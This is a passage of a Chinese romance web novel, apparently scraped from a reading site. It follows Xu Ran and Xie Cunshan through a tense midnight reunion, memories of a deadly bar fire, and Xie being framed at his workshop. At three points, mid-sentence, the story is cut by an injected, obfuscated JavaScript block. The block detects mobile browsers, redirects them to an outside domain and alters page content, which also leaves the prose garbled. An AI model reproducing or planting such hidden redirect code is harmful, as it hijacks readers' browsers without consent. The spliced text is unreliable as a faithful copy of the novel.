——黎娟比以前丰满了,对她笑的时候眼睛眯起来,眼角的褶皱里是溢出来的幸福。 她打趣,“你看看这公平吗。我长胖了,你越来越漂亮了。” 七年了。 七年前许冉南下广东,除了姜毅,她几乎不再与桐城的人有任何联系。 有时她还会做梦,梦见路西法那个半地下更衣室,女孩子们插科打诨发出清泠泠的笑声。 一切都笼着青青的一缕烟,她看不清她们的脸,青春勃/发的身体,只能闻到甜得发腻的香水味,因为潮湿都变得陈旧,沉重,变成了雨,下在那间屋子里。 她常常自梦中惊醒,盯着城中村出租屋发霉的墙角,觉得那些事情遥远得像上一辈子。 “小娟姐。那时候没来得及去你的婚礼,一直没跟你道歉。” 唐小勇和黎娟的结婚请帖是在2017年夏天递到谢存山和许冉手里的。 婚礼请柬的正面并排郑重地写着他们的名字。后来参加婚礼的却只有谢存山一个人。 黎娟说,“多少年前的事儿了。说那个做什么。” 两人正说话呢,街上热闹起来。 亮子带着一群小弟姗姗来迟。还是大金链子,腋下皮包,呲着大牙花,还没坐下就跟许冉打招呼,“嫂子!多年不见。还这么靓。上次没认出你,得罪得罪。” 姜毅不动声色抬头看他,缓道,“你可能搞错了。她是我女朋友。” 亮子的眼睛滴溜溜在姜毅,许冉,谢存山脸上依次打了个转,又看回姜毅,问,“你...哪位?” 唐小玉的头埋进汤碗里,笑得发颤。 黎娟拍了这位看热闹的罪魁祸首一巴掌,打圆场,“朋友。都是朋友!” 唐小勇也赶紧举杯,“是啊。老朋友新朋友都是朋友!来来,借着我这杯茶,庆祝小玉生日,也欢迎许冉回桐城!” - 姜毅在酒桌上向来要强,何况今日是当着谢存山的面,亮子存心灌他呢,邻桌亮子带来的几个小弟也是轮番来敬酒。 许冉拦他,他就说,‘今天开心嘛。你的朋友就是我的朋友。’ 他醉了,动作就更亲昵。 亮子一听,心想,‘这人倒是会说话。劲敌啊。小山哥任务不简单。’ 饭后两人同在街边等网约车,姜毅看上去至多薄醉,大方地跟唐小勇握手,说之后要多介绍兄弟来。 上了车他就不行了。睡得东倒西歪。许冉多给了五十的小费,请司机帮忙才勉强把他弄下车,弄回了家。 他在沙发上睡得不省人事,许冉担心他难受,给他弄了杯蜂蜜水。 叫了半天姜毅才醒,勉强睁开半条缝,笑着说,‘今天没给你丢人吧,小冉。’ 许冉坐在小板凳上,就着落地灯的光线给他擦脸,说,‘姜毅哥,说啥呢,喝糊涂了。下次别这样喝了,伤身。’ ‘你不懂,这是你的面子。小冉,你是个好姑娘。’ 许冉笑笑,不与他争辩,把蜂蜜水递到他嘴边,姜毅摇摇头,又把眼睛闭上了,嘟囔问。 ‘你还惦记他,是不是。’ 许冉端着杯子的手悬停一会儿,又捧着杯子,放在自己膝间。 她想要摇头的。却意识到姜毅看不见。 刚想开口,听姜毅又说,‘我懂的。我也忘不掉。所以我都懂的。’ - 过了午夜许冉才算收拾洗漱停当,勉强入睡。 只是她睡得不深沉,做了许多光怪陆离的梦。梦到了年轻时候的万小琴,梦到她和姜毅醉醺醺地在客厅里跳舞,空气里都是甜腻的香水和浓烈的酒精味。 许冉被一阵响动惊醒。初以为是风,静静躺在黑暗中分辨了好一会儿,发现是有人在敲她的窗户。 这儿是三楼,房间外是个小阳台。而现在是午夜。姜毅还在客厅,她可以听到他的鼾声。 许冉心里发毛,可声音还在,且执着地敲着。 她定了定心神,开了桌上夜灯,走过去,把窗帘轻轻拉开一条缝,看一眼。 ——这一眼差点没让她心脏骤停。 谢存山一身黑衣,像个索命鬼,在她拉开窗帘的瞬间,目光已经擒住她的脸,好像要将她生吞入腹。 他怎么上来的?会飞吗?七年不见他长翅膀了? 四邻阒静极了,许冉把阳台门打开,压着声音问,“谢存山你是不是疯了!” 谢存山却借势展臂,把门一撑。 两个人就这样忽然陷入僵持。 酒气和她熟悉的荷尔蒙气息扑面而来,许冉抬头,谢存山只穿一件半高领的黑色单衣,一双幽黑的眼睛,薄薄的灯影里成了一汪含恨的水。 一动不动地凝视她。 不解,不甘,怨,念,也许还有一些爱。 小巷十年之间亦有变迁,如今这痕迹被夜色暂时擦拭殆尽。 像是捉迷藏的时空游戏。他们在这偷来的光阴缝隙里再次坦诚地相互对视。 相爱过的男与女。 相爱中的男与女。 这一刻不需计较这一字的区别,也不用再挑选合适得体的表情。 这巷子太静了,静得她听得清他的心跳。他们离得太近太近了。 借着月光能看清他黑而密的睫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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许冉不敢再看他的眼睛。 他的呼吸近在咫尺,抚过她的颈,她的肩膀,透过薄薄一层睡衣,几乎将她灼伤。 太紧,好像肉和骨头都要被他压碎碾平烧干了。 不是亲吻,不是拥抱。谢存山只是想离她近一些。更近一点。 近到他可以真的看清她,看清她的心。 …最好能嵌进来,彻底成为自己身体的一部分。谢存山混乱地毫无逻辑地想。 雪色的脖颈,粉色的两腮,都在眼前。 他曾经抚摸过,流连过,到现在午夜梦回,她潋滟的眼睛,那些令人着迷的眷念的,盛情胜景,耳鬓厮磨,依旧不断重现。 谢存山动用所有残存的理智才能确保不去碰触那些裸露的敏感地带。 他爱她太早。 他们曾经那么亲密。那种亲密已成了肌肉记忆,动物本能。 十年了,人可以重建认知,习得冷静,变得理性,但本能却无法改变。 何况爱比本能更加强烈。 ——...谢存山没想过许冉会回来。 更没想到,他会目睹她在另一个人身边垂着眼睛温柔地笑。 十年弹指一挥。 她离开了,摆脱了所有困住她的东西。其实他一直真心为她感到高兴。 当时他坐在店里,看着她与姜毅并肩走进来...他并不怨恨谁。 只是天知道他又多么多么希望,一切都是做噩梦。 吃完饭,他们还会牵上手,亲亲热热往那间出租屋里去。步行三十分钟,电动车十五分钟。出租屋里有五斗柜,旧收音机,小猪板凳,和绿色的桌布... 他对她的感情,像一道微小的陈年伤疤,无法痊愈,今夜忽然溃疡流脓鼓包,割一道,血流不尽,流不完。 他再低头一看。哦。原来是绝症。无药可医。 “许冉...许冉...” 谢存山的声音嘶哑粗粝。炙烈的,疯狂的,哀伤的语气。一如当年,他们亲密无间的许许多多夜晚,抚摸彼此身上的纹身,呢喃对方的姓名。 许冉止不住地颤抖。 她突然懂了,有人说过的—— 人间最毒的咒语,是爱过的人的姓名。 29. 2024 x 2014 “你喝醉了。谢存山。” 一切都错了,他的醉意已经传染给了她。 有那么几秒她放弃挣扎,几乎沦陷,彻底投降。 他醉了,她又何尝不是呢? 否则又怎会在这一刻有种饮鸩止渴的错觉。 潮湿而又散发蓬勃热气,熟悉的怀抱。是她唯一深爱过的人。 硬的是骨头,柔软的是心。 心软成一滩鲜红的泥泞,人踏进去,会被酸楚腐蚀殆尽,粉身碎骨。 ——在谢存山之前她不知道爱是什么。在谢存山之后她再也无法拿出相同的爱。 ——许冉睁开眼睛,理智逐渐回笼,使出全部力气,想要推开谢存山。 ‘咚’地一声巨响,拉扯间两人一同撞上门板,谢存山的背吃疼,僵住,迷茫地低头看她。月色一照,他双眼布满血丝,简直心惊。 客厅传来声音。 姜毅迷迷糊糊地问,‘怎么了,小冉,什么动静。’ 许冉吓得寒毛直竖,不敢作声,几乎是用身体的重量按住谢存山,警告地瞪他。 僵持一会儿,姜毅的鼾声传来。 谢存山似乎也安静下来,松了手上力气,许冉将他一推,终于挣脱开。 谢存山靠着门板,仿佛突然被抽走了灵魂,往地上一坐。 许冉垂着眼,慢慢整了衣衫,盖住自己的肩膀,长出一口气,说:“你清醒一点,谢存山。” 脸颊觉得痒,用手背一碰,方察觉脸上有泪。 谢存山好像醒了酒,又好像更醉了——不然怎么会看见许冉哭呢。她这个从不肯为别人轻易掉眼泪的人。 他卸了力,拧着眉,仰着头孩子似地看她,移开眼睛,忽然又说,“你别哭了。我是混蛋。我有病。就当我放屁。” “我没哭。我哭什么。” 还是和以前一样,嘴比心还硬。 许冉在床沿坐下来,两人相对无言。 回忆像洪水溃堤,突然灌满了整个屋子,呼吸都觉得艰难异常。 “谢存山...不是说好的。好好过日子…” 许冉轻轻地说。 ——他们在一起,满打满算不过三年。那是他们最迷茫,贫穷的三年,双手空空,只能握着彼此的手。 分手后谢存山消沉了很久。唐小勇劝他,你还年轻,再过几年,一切都会过去。 分手后的那个冬天学校放寒假,谢存山去广州找许冉,他们见过一次。 老邹告诉许冉,这半年,谢存山一直不太好。瘦脱了相。 心理学上说,若分离伴随未解决的创伤,等待可能演变为一种自我惩罚,仿佛只要继续痛苦,就能维系与对方的隐形纽带。 老邹说,无论如何,你跟他见一面。对他来说也算是个了结。 那天许冉带他去吃了早茶,用蹩脚的广东话点餐,还带他去十三行看自己的摊位。 摊位的一个角落被她精心装饰过了,晚上她会在这里做直播。 ——离开桐城,离开某种困扰她的东西。她那种野草一般的生机和活力又回来了。 脸上的笑容又生动起来。 因为太熟悉,所以谢存山知道这个笑容有多么珍贵多么真实。他骗不了自己。 她的笑容在提醒他,他们都长大了,要靠近才能躲雨御寒的日子过去,即使是同类,也会有天高地阔不复再见的一天。 “复合”两个字,谢存山没提。 “跟我回家吧。”,也没说出口。 那两天,他们只是在广州闷而潮湿的冬天里几乎一刻不停地行走,走街串巷,一天三万步,靠身体的疲劳来填充语言的匮乏,削弱情感的厚重。 他们一个比一个表现得云淡风轻。 像两个默契但寡言的好友。 谢存山给她看手机里北京的照片,他说他来的前一天下了好大的雪。他也给她看同学聚会的照片,青春洋溢的一群人在滑雪场里摆出各种搞怪的姿势。 他们也不再提没能同游北京的遗憾。 谢存山在广州只待了两天。 他们在糖水铺子里,铺子里挤满了游客,他们头碰着头吃杨枝甘露。 “明天就走?” “学校还有实践活动。”谢存山又低头狼吞虎咽。 广州是美食之都,这几天他却食不知味。 再多一天,体面,自尊,云淡风轻,全都无以为继。 许冉松了口气。但那天晚上回到城中村的出租屋,她突然哭得很伤心。 她后知后觉,发现自己真的好怀念他坐在自己对面埋头吃饭的样子。 …好像生命中很重要的东西,已经失去了。 如果。如果是个恶毒的词汇。 那天晚上她却一遍一遍地想,如果...是否她会比现在幸福? 她一夜未眠,广州天亮早,天边泛起第一缕鱼肚白的时候,许冉告诉自己,这样就是最好的,既然他们都向前走了,那就谁都不要轻易回头。 往前走。 每当她举棋不定的时候就会默念这三个字。这是许明宗给她的护身符。 “好好生活。”分别那天他们在早茶店分吃一碗皮蛋瘦肉粥,对彼此许下很郑重的承诺。 从此这四个字,成为她的第二道护身符。 他们在火车站分别,一个留在南方,一个北上。没有人再提从前或者以后。 谢存山看着许冉的背影消失在马路对面,无力大过悲伤,突然眼泪就流下来。站台的乘务员来关心他,挺丢人的。 但许冉没哭。她只是在回家的公交车上反复忏悔,祈求,‘老天啊,你一定要保佑谢存山好好的。’ —“许冉。” 男人嘶哑的声音来自回忆的最深处。 许冉忍不住打了个寒噤,有那么一瞬,生平第一次,她不想向前走了,天也不要亮了,她和他,就这样对坐着,多么好,多么奢侈。 谢存山正凝视她低垂的脸。 正色问,“你回来。是不是为了骆佳澄。”(小橙全名) - 2015年底,元旦,照旧与唐小勇一行人跨年。 谢存山来得晚,他不怕冷,冬天也就穿一件薄薄的飞行员夹克。去年许冉给买的。 小勇哥说,你们老板也太黑了,跨年还不放人。 谢存山没放在心上,说,好多人这两天要回乡下,今天修车的多。 小勇哥给他开了瓶啤酒,捏捏他肩胛骨,说,变壮了。 小苗笑着调侃,那都是许冉做饭的功劳。 谢存山听了就搂着许冉的肩,说,她做饭特别好吃。我外婆都说好吃。 亮子贱兮兮地凑上来,问,啥时候嫂子给我们做一顿? 谢存山把他头一推,说,想得美。 麻子转头问唐小勇,小勇哥,这儿生意怎么样。 唐小勇站在烧烤架前额头冒汗,说,‘凑合凑合。’ 阴差阳错,唐小勇在2015年的尾巴又回到了桐城。唐母治好了耳聋,却因心肌梗塞去世了。他没了在县里待着的理由,于是把妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409813|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹一道带来的桐城。老师都说她是个好苗子,县里教育资源不好,别耽误了。 妹妹上学,唐小勇继续给人跑车,跑长途才赚钱,但一走就是两三天,他放心不下唐小玉。正好手上还有几万块钱,他盘算一阵,干脆开了个店,安稳下来。 烧烤是他父亲那边祖传的手艺。他父亲就是靠在县里卖烧烤给家里盖了房子。 麻子打趣,‘又谦虚。我看你这儿红火得很。’ 小苗说,你们不知道吧,小勇哥前阵子还上电视了。 她把手机掏出来给大家看——热心市民唐先生,帮一个摆摊的姑娘赶走了喝醉酒的流氓。 镜头里的唐小勇腼腆得要命,站在‘小勇烧烤店’门口,涨红着脸。 ——这天夜里,谢存山格外热情,两人从客厅一路纠缠到浴室里,又辗转回房间里,许冉简直应付不暇,但抗议又换来更热烈的占领和深入。 “今年过年,你带我回家吧。好吗,许冉。”他着迷地问她。 许冉把手指插进他的发间,又抚摸上他汗湿的后背。无言的纵容与邀请。台灯下一照,他的眼睛熠熠生辉,比钻石还亮。她真的喜欢这双眼睛。 许冉装傻,柔柔地问他,“你就这么想跟我回家啊。” 谢存山把她捧得离自己更近一些,意乱情迷,说,“对啊。许冉,我娶你好不好。你们家要多少彩礼,黄金,钻戒,你说,我攒。” 许冉的心化成一滩洁净的水,映着她爱的人的倒影。 她把他的眼睛用手捂住,又仰起头亲吻他。 谢存山壮了很多,不过一年多的时间,他的背更宽阔了,肌肉线条也更流畅,他笼着抱着她进入她的时候,她会觉得自己变得很小很小。她只在午夜迷恋这种渺小的感觉,好像这样就可以永远抱着他,依赖他。 结束的时候,谢存山抚摸许冉汗湿的鬓角,许冉懒得动弹,在他怀里昏昏欲睡。半梦半醒间,听见烟花不断绽开的声音,时远时近,绵延无际。 如同浪潮。 而他们是海底的两尾游鱼,沉睡在温热的海底洞穴里。 午夜一场热闹的好梦做不完。抱紧彼此,白天就永远不会到来。 一切似乎还是热烈的,新的,充满希望的。 ——2016年1月1日凌晨四点,桐城市蝴蝶大厦路西法酒吧在突发大火,多人受伤。 死了两个人,老板邵骏辉,以及一名姓骆的员工。警方在邵骏辉的私人轿车上搜出两千克冰du。 舆论哗然,邵其辉也在翌日被警方带走调查。 四日之后。2016年1月5日夜晚,许冉接到一则来自陌生号码的通话,电话里的女人似乎喝醉了,只是反复喃喃,‘跟我没关系。是他。都是他逼的。’ 这通电话就像奇点,印在许冉的人生曲线上,看似微小,却又因不可解,不可定义,而有着无穷的作用力。 —许冉听出来了,电话那头的人是万小琴。也是在一周之后警方找上门时她才知道,万小琴成了路西法纵火案的关键目击者,当晚有游客无意抓拍到她从五楼电梯下楼的侧影。 也是在这天,许冉才辗转得知小橙的死讯和她的全名。 小橙姓骆,名佳澄。 从此,万小琴彻底地消失了,仿佛一颗小小的石子沉入江心。 ——自那时起,许冉和姜毅开始了漫长的寻找。 许冉也不确定她在寻找什么,但她有种直觉,万小琴手上握着当年路西法大火的秘密。 后来姜毅放弃了。但许冉没有。 30. 2016 2016年的春天来得格外晚,惊蛰都过了,还没有转暖的痕迹。 姑姑打电话来,说今年山上的桃花打了苞,到现在也没能开花。 许冉觉得自己病了。 具体说不上来,既不头疼,也不发烧,还能照常去商场上班。 但她总觉得有什么不具名的东西,渐渐地将她魇住了。 有时她走在街上,会觉得摩肩擦踵的人明明近在咫尺,却又离她好远好远,红色的花,绿色的树,全都蒙上一层玻璃膜,她看不真切,只觉得心里惴惴的。 晚上她经常做噩梦,从梦中惊醒的时候谢存山就会抱紧她,抚摸她的头发,说都过去了。都会过去的。 就连这温馨的拥抱也无法治好她。 有时候她想说,‘你错了。总有些东西是过不去的。’ 关于小橙的死,许冉无从得知太多的细节。小娟告诉她,认领物品的时候,是小橙的父亲去的。 路西法的几个朋友凑了钱塞给她父亲,她父亲是聋哑人,攥着钱无声地流泪。 许冉没去,得知小橙死讯的那几天她压根下不来床。 闭上眼睛,都是去年秋天,小橙拎着一袋书来他们的出租屋做客。 书都是新书,散发着油墨香气。她从新华书店一本一本给许冉挑选的。每一本的书的扉页下角都写着。 ‘2015年9月,澄赠予冉’。 那天下午她们坐在客厅的旧地毯上一起翻书。夕阳太暖,许冉睡着了,梦到了家乡的老厝,梦到了给她梳头的堂姐。 那是许冉最后一次见骆佳澄。 ——借给她的护身符,她再也来不及还给她了。 三月中的时候,天气终于暖和起来,小橙也终于下葬。 小橙的墓在江北的公墓园里。 葬礼很简单,除了她的父亲,出席的人只有许冉,小娟和晶晶。 晶晶特意从广州赶回来的。她没有继续上学,跟着做服装生意的亲戚去广州打工了。她告诉许冉,如果她想,可以也来广州,广州赚钱快,做女装网店,有赚头。 葬礼后小娟和晶晶开车送小橙的父亲去车站。 许冉还想留一会儿。 ——纸钱化作齑粉,香烛燃得正旺,墓碑上的骆佳澄唇红齿白,秋水剪瞳,正对她微笑。 许冉把护身符攥在手心里,就这样在她坟前坐了好久好久。直到她的衣摆都凝结了晶莹的露珠。 那天的天很暖,夕阳像个温暖的流心咸鸭蛋黄,一点点地浸入江中。 ‘又是一个春天了。’ 她还记得去年的春天,骆佳澄在江滩上展开双臂的样子。 直到夕阳余晖烧尽,许冉才准备起身,一偏头,却在通往墓园的小路上看到一个许久未见的人。莎莎。 莎莎后面跟了个身材臃肿的中年男人,见许冉在,他不再上前,点燃一根烟,在小路上站了半晌,往回走去。 许冉看了半天才敢叫她的名字,‘莎莎姐。’ 许久未见,莎莎看起来和从前不一样了。这是许冉头一次见她没带假发的样子,齐耳黑发,风衣,看起来干练极了。 莎莎大概没想到这么晚了还有人在,只说,‘我来看看小橙。’ 许冉给她腾出一块儿地方来。她们并排坐在一起,都没说话。 转眼暮色四合,墓园中浮着一层灰蓝色的薄雾。许冉却不觉得恐惧。 ‘莎莎姐,你有小琴姐的消息吗?’ 许冉问她。 莎莎摇摇头,说,‘没有。警方也一直在找她。’ 许冉说,‘莎莎姐,你过的还好吗,好久没见你,大家都很担心。’ 莎莎又摇头,说,‘放心。我去了外地工作,暂时不会再回来了。’ ‘真好。我也想离开这里。’ 许冉把脸埋进臂弯里。 - 楼起楼塌,一夜之间桐城变了天。 邵骏辉死亡,邵其辉因□□贩毒被捕,邵家多项正在进行的地产开发项目被叫停,高管被调查,邵家企业市值蒸发,面临重组。 新闻播出的时候,许冉正在离二中不远的店里吃粉,店里闹哄哄的,都是嬉戏打闹的学生。 她听不清,眯着眼睛去看小电视机里滚动的字条。 不多时,店里又进来一个男人,胡子拉碴,在许冉对面坐下来。 “姜毅哥。”许冉招呼他,“给你叫了个干面。” 姜毅给自己倒了杯水,哑着嗓子问,“死的那个姑娘,你认识?” 许冉面色暗淡,点点头,说,“小琴姐也认识的。” 姜毅嗯了一声,埋头吃面。 他几天几夜没合眼了。 大火之后,他们联系频繁。 姜毅一直在找万小琴。 邵家失势,从前追随的那一圈人,手上不干净的都想法设法出了国避风头,没有利害关系的也是处处撇清。 姜毅与一些桐城旧友以及邱胖子那边的人还有联系。但大多数人不想与这事儿沾边,线索太少。 最开始他得知邱胖子出了国,便往深圳汕头那边去打听,前些日子有朋友告诉他,在出九江的加油站便利店见过万小琴一个人买烟。 他从广东一路去了江西再回桐城歇脚。 这几个月许冉一直在听新闻,听广播,生怕漏掉些新的消息。但关于徐炀这个名字,新闻至今只字未提。 姜毅说都是些黑吃黑的脏事儿。 “姜毅哥,徐炀会不会把小琴姐带走了。” “我打听了,徐炀火灾第二天就去了加拿大。他是加拿大公民。其他的...现在什么都说不好。”他三下五除二吃完了,问许冉,“你过得还行不?” 许冉点点头,说,“我挺好的。” “那就好。照顾好自己。你是个聪明姑娘。” 许冉说,“姜毅哥,你别太担心了。小琴姐很机灵的,也许躲起来了。” 姜毅抬头,看她一眼,点点头,擦了嘴,搓了搓手,叹口气,绝望地把脸埋进掌中。 - 三月是许冉的生日。 二十岁了。 她记起万小琴从前经常一边照着门后的镜子一边感叹,‘一年一年,困觉醒来天又光(*地方俗语)’。她说话总是很泼辣诙谐。 晚上谢存山特意早回,做了三菜一汤,提回来了一个奶油小蛋糕。 今年他们都没提出门庆祝的事情。 谢存山知道她没有心情,也知道她还在消化小橙去世的创伤。她像动物一样喜欢沉默着忍痛。他无力改变,只能陪着,守着她。 等许冉洗完澡出来,发现谢存山已经在沙发上仰着头睡着了。他这些日子好像很累,一天比一天睡得早,叫都叫不醒。有时候都等不及吃晚饭就睡着了。 许冉没作多想。她心里装了太多事儿,又有太多疑问,关于万小琴,关于小橙。 前两天姜毅安慰她,‘警察在盯徐炀呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472627|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别怕。你安心过你的日子。’ 但她还是惴惴的。 她经常做梦,梦见和小橙走在黑暗的江滩上,水漫过她的小腿。有时候小橙回头,又变成万小琴的脸。 昏黄的灯光在谢存山脸上落下柔和的阴影。他的棱角愈发成熟了,眉眼之间有了男人的坚毅。 不知不觉之间,他们牵着手一起长大了。 许冉抱着膝盖在他旁边坐了很久,盯着桌上纯白的奶油蛋糕,想着心事。想到很久很久之前,他们第一次见面,那时候他跟着刘闯,而她刚进业务部,万小琴教她喝酒只喝一半,另一半偷偷吐进手心的纸团里。 还有莎莎,小娟,琳达,小橙。 鲜活夺目的面孔,泡在霓虹和酒精里的一个又一个轻飘飘的夜晚。好像白天永远不会到来,她们也一定不会变老。 她坐在这里,脸颊贴着膝盖,把自己团起来,依偎着谢存山,觉得一切恍如隔世。 谢存山醒了,见她出神,叹一口气,把她揽进怀里,说,“吹蜡烛吧。” 又说,‘五一放假我带你去北京散心好不好?’ 许冉点点头。双手合十。轻轻地闭上眼睛。 - 到了四月,生活似乎逐渐归于平静,许冉的精气神回来了一些。 毕竟日子还要过下去。 也是在这个时候,她才注意到一些变化——谢存山身上的机油味不知何时消失了,回家时的衣服总是过分洁净。 他手上大大小小的伤口和指甲缝里永远洗不干净的强力胶水也消失了。许冉曾经坐在灯下,拿着绣花针的另一头,把那些胶水一点点给他挑出来。 她问过谢存山,他只说,最近店里生意不好。没活儿。 但工资每月照发,甚至有时候他还能拿回些多的钱。问他,他说是奖金。 但他好像累得要命。有一天晚上凌晨三点许冉被吵醒,看见谢存山在厨房吃挂面,什么都没放,就白水煮的。 许冉觉得不对劲,早上偷偷跟着他出了门。七拐八拐,见他上了辆公交车,往城北开。 她在城北新城某商品房的工地前堵住了亮子,亮子被突然出现的她吓一跳,慌慌张张地说,嫂子你怎么来这儿呢。 许冉说,别装了。我知道谢存山在这儿。 亮子根本拗不过她,偷偷带她去看谢存山。 谢存山换了灰色的工服,松松带着黄色头盔从卡车上往下卸砖,一趟又一趟,他干的比那些偷懒的老工人加起来都多。 空气里到处都是灰尘,蒙了他一脸一身。 许冉在角落里看了好久。鼻腔里都是灰尘和簇新砖块的味道。 亮子担心,说,嫂子,你千万别跟哥吵。他就怕你知道。 许冉的脸上没什么表情,说,‘你放心,我就当没来过。等会儿就走。你去吃饭吧。’ 亮子一步三回头。 谢存山压根没往这边看,他一直在干活,平时昂首挺胸的人一直一直一直弯着腰。 后来工地上终于开始放饭了,一大锅糊糊的看不出是什么东西,配一个馒头。 谢存山和亮子打了饭,挑几块干净点的砖头一坐,埋头狼吞虎咽起来。 后来一个工头模样的人来了,来跟谢存山说话,谢存山站起来,点头哈腰,很恭敬的样子,又摸摸口袋,给他递烟。 那人接了,说完话,往后一退,正巧把谢存山放在地上的盒饭踢翻了。汤汁流了一地,流进红色的砖灰里。 31. 2016 许冉一直一直记得那个下午。 她从城北坐公车回家,揣了家里的扳手,先步行去了旅行社,退掉了去北京的机票和酒店。 从旅行社刚出来,桐城突然开始下冰雹。 小拳头大的冰雹噼里啪啦,砸得人到处乱窜,但她一点痛感都没有。 步行一个小时,去了谢存山修车的车行。 ——欧阳刚吃了饭,在柜台前剔着牙。根本没把这个瘦瘦小小的来对质的女孩放在眼里。 “诶。你谁啊?谢存山?你还好意思来问。他手脚不干净,偷了进口零件,我们没报警抓他,算客气了。” 老陈也在,站在远一些的车库那儿看她。他手里拿着水管,正在洗车。 许冉冲过去揪住老陈的的橡胶袖套,说,“你是老陈,谢存山是你带的。你为什么不替他说话。他没请过一天假,每天六点就出门来这儿,他是个什么样的人你不清楚吗?他怎么可能偷东西!” 老陈手忙脚乱甚至忘了关水管,水溅了她一身,她的棉袄湿透了,水从脖子往里头流,好冷好冷。 谢存山的手每天都要浸泡在这样的冷水里,还有各种化学制剂,机油,玻璃水,防冻液。 老陈说戴手套干不出好活儿,他就学着也不带,手上全都是皴裂的小口子。他还说没事,男人要那么细皮嫩肉做什么。 “东西是他包里翻出来的。没人赖他。你来闹又有什么用。” 欧阳看她纠缠,走过来,忽然扬手,猝不及防地给了她一巴掌。 许冉没来得及躲,结结实实被扇蒙了。 是个进车的下坡,她下意识往后退几步,地上太湿,站不稳,滑了一跤,腰和屁股都痛得麻木了,半天爬不起来。 有客人要进店,车辆在她背后使劲儿鸣笛。 “要不是看你是女的,早就把你打残了。信不信?”欧阳居高临下,推搡她的头,恨她耽误了店里的生意。 “你们都在说谎!” 许冉肿着半边脸,爬起来,弓着身子,在路人好奇的眼光里愤怒地把扳手向车库大门的方向掷出去。 扳手撞翻了老陈的工具箱。老陈看了她一眼,没说什么,蹲下身收拾。 ——在老陈躲闪的眼神里她突然明白了什么。 在路西法许冉见过太多太多不能称之为人的‘人’了,人吃人,骨头也不吐,一把火烧干净。 比起来,这些真的不算什么。 可那些经年以来熟练用来自保的冷静,漠然,小机灵,突然全都失效。 许冉仿佛平生第一次受委屈,第一次遇到坏人,跪在地上突然就嚎啕大哭。 不是因为疼。而是突然想起谢存山跟她说,‘老陈人很好的,愿意教我,我跟着他能学东西。’ 谢存山,你真的是个蠢蛋。许冉把手上的灰和眼泪全部抹在裤腿上,悲伤地想。 - 老邹第一次见许冉是在城南墓园,第一次见谢存山则是在莲花西路派出所。 当时他出任务刚回。有个入职不久的小民警说有人斗殴,要联系家里人,问了半天,他硬说没有。 小民警也没辙,只能问老邹,这种‘社会青年’怎么处理。 老邹走进调解室,见谢存山安安静静地坐在调解室,头被打破了。血糊了眼眶。 听说被他打的那几个更惨,直接拉医院去了。为首的那个听说肋骨被打断了,要手术。 对方家属已经到了,卷卷头的盛气凌人的中年女人,拍着桌子。说要提告。 外头有个面色苍白的女孩儿怀里揣着一沓钱,气喘吁吁地跑来接待大厅说要找谢存山。 老邹觉得女孩儿面熟,转身又进了调解室,问,“外面女孩儿是你家属?” 谢存山愣了愣,说,“不是...你叫她先回去。” “你家大人呢?”老邹问他。 “我成年了。”谢存山说,“要告就告。” 老邹拿了他身份证一看,刚满二十。 他复又端详他,突然问,“你是谢兰的儿子?” 谢存山听到这个久违的名字,也抬起头打量他,问,“你认得我妈?” ——欧阳是在深夜回家的路上被打的。 他与几个狐朋狗友在外喝酒,司机开车送他回家。 他在小区门口下了车,踉跄着掏手机,想联系刚刚在酒吧加上的美女。 等待他的是自黑暗中来的一记重拳。然后他感觉到自己的头被人单手按住了,人往后折成了九十度。腰肯定断了。他绝望地想。 挣扎着抬眼——年轻而锋利的脸,被愤怒烧得发亮的黑色的瞳孔,像是恶魔的眼睛。 欧阳几乎怔住了,都忘了抱头保护自己,甚至连喊痛都忘了。一切都发生得太快了,下一秒他已经匍匐在地上,下颌疼得麻木了,鼻梁在不断地流血。 而打他的人就静静站在他旁边,双手插兜,低着头看了他一会儿,并不急着离开。 欧阳的司机见状,叫来了提着铁棍的五六个小弟。群殴。谢存山以一抵五,伤得不轻。医院要他再留一下,他拒绝了,跟着小民警回了派出所。 ——那天在派出所,谢存山见到了久未谋面的父亲。 父亲替他了了纠纷,付清了双方的医药费。 那天晚上,谢存山回到医院留观。他头上缠着厚厚的纱布,而父亲居高临下,说,‘这个世界的规则有很多,形体上的暴力是最浅薄无用的。穷途末路的人才愤怒。没有保护自己的能力。一切都是空谈。这个道理,你现在懂,倒也不晚。’ 谢存山没说话,闭着眼睛假寐,突然想起许冉坐在灯下安静的侧脸,想起她很虔诚地在崭新本子的扉页摘抄下的句子。 ‘最要紧的是,我们首先应该善良,其次要诚实...’ - 谢存山只在医院留观了一夜。第二天一早他趁着护士不注意,自己拔了针头走了。 一边脸还肿着,眼眶凝结着血痂。回家前他先找理发店洗了个头,又把那件带血的夹克扔了。 头还有点疼,折腾一夜没睡,他却不想回家,在街上漫无目的地闲逛。t恤上还有干了的血渍,路过年轻的母亲瞥他两眼,把孩子拉远一点。 他在街上游荡到了中午,就近去了唐小勇店里。亮子和阿宇正好也在,看到他这副模样,吓得要死。 唐小勇煮了两个鸡蛋,给他敷脸消肿。 